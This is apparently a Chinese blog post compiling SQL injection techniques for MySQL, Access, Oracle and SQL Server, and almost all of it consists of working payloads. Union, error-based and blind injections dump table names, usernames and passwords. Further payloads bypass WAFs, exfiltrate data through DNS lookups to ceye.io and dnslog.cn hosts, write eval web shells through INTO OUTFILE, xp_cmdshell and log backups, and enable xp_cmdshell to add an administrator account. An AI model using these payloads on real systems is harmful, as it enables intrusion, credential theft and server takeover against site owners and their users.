sql注入技术大总结

SQL语句
222
0
0
2024-08-12
标签   SQL注入

Sql注入判断数据库类型

Mysql注入

如果对应的表,列名爆不出来,可以尝试用字符转16进制转化。

相关函数:

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统

多条数据显示函数:

concat()

group_concat()

concat_ws()

正常的手工注入测试流程

id=1id=1'--+

测试注入点

1 order by 2#

?id=2 union select 1,2,3 --+

1 union select 1,database()#

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名

1 union select1, group_concat(column_name) from information_schema.columns where table_name='表名' # 从所有的列名里边找到这个表名里不重复的列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

常规注入

(Select schema _name from information_schema.schemata limit 0,1)

?id=-1’union select 1,2,(select group_concat(username,0x7e,password) from security.users) --+

?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

?id=-1' union select 1,2, (select group_concat(column_name) from information_schema.columns where table_name='referers' ) --+

如果不能一次爆完全部,就使用limit,其中第一个数字0代表第一个表、列;1就是第二个

(select table_name from information_schema.tables where table_schema=database() limit 0,1)

报错语句

Group by concat floor,(这个语句不适合爆密码),floor()函数会影响md5值

and (select count() from information_schema.tables group by concat((select version()),floor(rand(0)2)))--+

extractvalue

and extractvalue(1,concat(0x7e,(select user()),0x7e))--+

updatexml 常用

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+

复杂语句报错注入 偶尔能用上

and (select 1 from (select count(),concat('~',(select table_name from information_schema.tables where table_schema='hebjy1028' limit 0,1),'~',floor(rand(0)2)) as a from information_schema.tables group by a)b)#

延时注入

思路是一样的(判断是否注入点→判断字符长度→内容逐个逐个爆破)

可以用python自动化脚本运行

https://blog.csdn.net/weixin_41598660/article/details/105162513

也可以用burp去爆破

判断长度

/?id=1'and if(length(database())=8,sleep(10),1)--+

再判断字符(ascii判断)

?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+

(left语句判断)

?id=1' and if(left(database(),1)='s',sleep(10),1) --+

?id=1' and if(left(database(),2)='sa',sleep(10),1) --+

Substring函数判断

type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+

布尔注入

Left判断

?id=1' and left(database(),1)='s' --+

?id=1' and left(database(),2) > 'sa' --+

Like语句判断

?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+

Ascii语句判断

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+

宽字节注入

前提1 使用了addslashes()函数

2 数据库设置了编码模式为GBK

原理:前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运“,而单引号逃逸了出来,形成了注入漏洞

%df' and 1=2 --+

二次编码注入原理

%25 urldecode()编码变成%

搜索框注入

实战经常碰到过

Sql数据库语句:SELECT*from sqltest where names like ‘%要查询的关键字%’

可构造payload 欧锋%’ and 1=1 and ‘%1’=’%1

欧锋%’ and 1=2 --+

欧锋%’ and 1=1 and ‘%

堆叠注入

id=1;insert into users(id,username,password) values('100','new','new');

mysql写shell

1具备写入权限

2有物理路径

3GPC关闭(能使用单引号),magic_quotes_gpc=On

(2)不支持union 的话可以用 into outfile

语法:select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

一般实战需要把内容进行16进制加密写入

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

(2)支持union的话可以用into dumpfile 函数

DNSlog注入语句

内容无回显时可进行dnslog注入,用ceye.io注册、或者burpsuit自带的插件

?id=1' and if((select load_file(concat('\\',(select database()),'.hq87c4.ceye.io\abc'))),1,0)--+

/?id=1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'. hq87c4.ceye.io\abc'))),1,1)--+

SELECT LOAD_FILE(CONCAT('\\',(SELECT hex(user())),'.mysql.ip.port.ukg4ig.ceye.io\abc'));

奇葩注入方式

(2)如果屏蔽了注释符

用‘1‘ = ’1代替注释符即可绕过

php?page=4&cid=1' and 1=1 and '1'='1

(2)between注入

实战很罕见,但偶尔还真的能用得上

主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常

(2)Limit注入

原理如下

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

实战例子:

参数后and 1=2 判断,出现如红框所示and 1=2,1

构造payload

index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)--+

(2)Orderby注入

当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入。

原理如下图

其中select * from users order by id desc;的desc是可控的传参值。

可构造payload: select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));

也可以接上 if(1=1,id,username);

乌云案例:

https://www.uedbox.com/post/10853/

https://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html

不正常数据库版本的第一个字符的ascii为53,为数字5

---------------------------------------------------

语句 order by 后id 直接注入,如下的sort接口后的id直接插payload

(select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)

Mysql注入bypass

1.或者//代替空格 例如:union*//*select

2.等价替换:and -> &、%26 or -> ||

3.Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0

4.通过组合测试,可以发现 union%0a/!12345select/ 1,2 可以绕过防御。

5.Union/something/select 空格替换成垃圾字符干扰例如:/asdw¥%/

特殊函数替换干扰xx()替换为xx/something/()

6.尝试get改post

7.参数污染,如?id=1后再添加参加参数如 ?id=1&id=2

?id=1 /!00000order/!00000by/!00000/3

Id=-1 or -1 and -1=-1

(2)分块传输

原理:Chunk分块传输方法是一种有效的绕过WAF的Web攻击手段。其原理是利用Transfer-Encoding: chunked这个HTTP请求头,当HTTP请求中含有这个请求头时,则传输的数据全部可进行分块编码

Burp安装插件即可,

分块传输前的post传输

分块传输后格式

Access数据库注入

Access数据库中没有注释符号.因此 /**/ 、 -- 和 # 都没法使用。

参数后面加 ’ 、and 1=1、and 1=2看返回状态判断是否存在注入点

Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库

参数后面加 and exists(select*from admin) 猜表名 返回正常页面表示存在(admin)

Order by探测字段,有3行

有回显:

union select 1,2,3 from admin(此时页面有显示2、3)

查列:and exists (select 列名 from 表名) (假设存在user、password)

union select 1,user,password from admin(即可爆出账号密码)

无回显:

查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常

查列:and exists (select 列名 from 表名)

查内容:and (select top 1 asc(mid(user,1,1))from admin)=97

and (select top 1 asc(mid(user,2,1))from admin)=97 猜字段(username)中第一条记录内容的第二个字符

and (select top 2 asc(mid(user,1,1))from admin)=97 猜字段(username)中第二条记录内容的第一个字符

偏移注入(回显数连续)

假设已经判断存在admin表,order by下判断有35行,且回显如下回显字段连续

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin --返回到一个错误页面提示查询语句出错,因此admin表的列数为6

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin

因为回显如下图 28 29 30是连着的,直接在27后加表名.*

爆出内容

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3 添加where id =数值,可得到更多的内容

偏移注入(常规操作)

Access偏移注入:表名知道,列名无法获取的情况下。

存在注入点,且order by下判断出字段数为22行

爆出显位

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

***号判断直到页面错误有变化**

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确

说明admin有6个字段

Access**偏移注入**,基本公式为:

order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;

也就是:

* = 6个字符

2 × * = 12个字符

22 - 12 = 10个字符

一级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

二级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

实战常见的表和列(也可以用sqlmap的,但是量大且效率低)

常见的表有(最后根据企业名的缩写搭配上admin、user、name)

admin admins admin_user admin_usr admin_msg admin_login user username manager msg_user msg_login useradmin product、news、usr、system、article、customer、area

admin_id、admin_name、admin_password

常见的列

admin admin_user username password passwd pass pwd users usr user_login user_name login_name name等等

oracle注入

常规有回显注入

order by 3--

and 1=2 union select null,null,null from dual--

and 1=2 union select 'null',null,null from dual-- //返回正常,则第一个字段是数字型,返回错误,为字符型

and 1=2 union select 1,'2','3' from dual-- //判断显示位

and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探测数据库版本信息

and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查询第一个表名

and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual-- //第二个表名

获取关键表中的列名:

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --

and 1=2 union select SNAME,SUSER,SPWD from T_USER where id=1-- //查看数据

第二种常规注入

确定回显位,假设当前共2个字段,全是数字型,判断方式如下:

and 1=2 union select 1,2 from dual 假设回显位是2,爆当前数据库中的第一个表:

and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual 爆当前数据库中的第二个表:

and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual 以此类推去爆第n个表

爆某表中的第一个字段:

and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)') from dual 爆某表中的第二个字段:

and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual 爆其它字段以此类推

爆某表中的第一行数据:

and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中,concat函数只能连接两个字符串

报错注入

利用 utl_inaddr.get_host_name

这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,当前数据库用户必须有网络访问权限。

jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual)) --

ctxsys.drithsx.sn()

jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

dbms_xdb_version.checkin()

jsp?name=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null—

dbms_utility.sqlid_to_sqlhash()

jsp?name=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

XMLType()

sname=1′ and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

布尔注入

jsp?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

username=admin' and (select substr(user, 1, 1) from dual)='S' --

时间盲注

主要用DBMS_PIPE.RECEIVE_MESSAGE

即user的第一位是"A"时,延时5秒执行。

And 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual)

第二位是D时,延时5秒

And 1=(select decode(substr(user,2,1),'D',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual)

news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) –

DNSlog注入

utl_inaddr.get_host_address

select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual

SYS.DBMS_LDAP.INIT 这个函数在 10g/11g 中是 public 权限.

SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;

其他攻击思路(见思维导图)

还未研究插个眼

Sqlserver注入

支持的注释符 /* -- ;%00

Mssql可以利用的空白字符有:

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

@@version // 数据库版本

user //获取当前数据库用户名

db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库

;select user //查询是否支持多语句

报错显示Microsoft OLE DB Provider for ODBC Drivers 错误

  • SA权限:数据库操作、文件管理、命令执行、注册表读取
  • DB权限:数据库操作、文件管理
  • Public权限:数据库操作

普通注入:

order by 2 成功;order by 3 失败; order by 4 成功;order by 5 失败 说明列数位于 3-4之间。查找回显点

id=2 and 1=2 union all select null,null,null,null;挨个替换null 发现 select null,2,null,null 页面出现回显。

查找所在库名称添加: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4

找到数据库名称。 提示:这里也可以使用db_name(1)、db_name(2)等查询其他数据

查找数据库表名称:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4提示: xtype='U' 为 用户表

?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4替换 col_name(object_id('manage'),1) 中的1 依次为 2,3,4查出所有列名。

查取数据: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 获取用户名;

?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 获取密码

全回显操作

获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】

(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

案例: mozhe_dbv2是数据库名字

一次爆指定表的所有列(只限于mssql2005及以上版本):

(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))—

案例: mange是表名

报错注入

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员sa

常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限dbo

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

(2)单个爆破:

and 1=convert(int,(select top 1 table_name from information_schema.tables ))—获取第一个表名

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary') )) 获取第二个表名

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' ))— 获取第一个列名

and 1=convert(int,(select top 1 username from login ))

and 1=convert(int,(select top 1 password from login ))

(2)全爆语句

爆表,要求sqlserver版本2005以上

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

爆列

and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))—

时间注入

aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5' –

如果是sa权限,就延时。

案例:

判断内容

aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--

布尔盲注

1.aspx?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

XP_CMDSHELL检测

看下目标的xp_cmdshell存储过程是否还在,主要是想看它有没有被删掉,你也可以用这种方式来查询其它你想知道的任何存储过程,如果判断还在,页面显示正常,不在的话页面报错。

and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell') –

开启xpcmdshell一句话。前提 1、支持堆叠 2、扩展存储过程没被删除

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

前提:sa权限探测是否存在1433端口。然后检测是否开启CMDSHELL

用XP_CMDSHELL添加用户hacker:

exec master..xp_cmdshell "whoami"

asp?id=3;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'

XP_CMDSHELL把用户hacker加到ADMIN组:

asp?id=3;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'

学习的文档:https://www.lagou.com/lgeduarticle/38721.html

https://www.cnblogs.com/vigarbuaa/p/3371500.html

https://www.cnblogs.com/cnjava/archive/2012/06/13/2547524.html

https://blog.csdn.net/weixin_34319999/article/details/92479895

拿shell方法

前提:

1具备sa或者dbo权限

2web目录的绝对路径 (可以利用xp_cmdshell的方式寻找绝对路径,插个眼)

(2)xp_cmdshell拿shell

1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\WWW\aufeng.aspx' ;

(2)差异备份拿shell

大概思路:

假设:http://xxxxx/show.aspx?code=1

中的code参数存在注入点 并且获得数据库名字为abc 爆出了物理路径为e:\xampp\htdocs\dvwa\

(1) 修改数据库设置为恢复模式

http://xxxxx/show.asp?code=1’;alter database abc set RECOVERY FULL –

完全恢复模式是默认的恢复模式。在完全恢复模式下,需要手工的对事务日志进行管理,优点是可以恢复到数据库失败或者指定的时间点上。

(2) 备份当前数据库日志到文件

http://xxxxx/show.aspx?code=1’;backup log abc to disk=‘e:\xampp\htdocs\dvwa’ with init –

备份数据库日志到服务器上,其中路径是网页的物理路径。

(3) 建立一张表和一个字段

http://xxxxx/show.aspx?code=1’;create table tt(a text) –

(4) 往表中插入一句话马子

http://xxxxx/show.asp?code=1’;insert into tt(a) values(’<%eval request(“abc”) %>’) –

values中的内容一般转换为马子的hex值。

(5) 再次备份日志

http://xxxxx/show.asp?code=1’;backup log ahykd_new to disk=‘e:\xampp\htdocs\dvwa\1.aspx’ –

再次备份日志,备份路径为网站服务器的物理路径

(6) 删除表

http://xxxxx/show.aspx?code=1’;drop table tt –

然后菜刀尝试连接http://xxxxx/1.aspx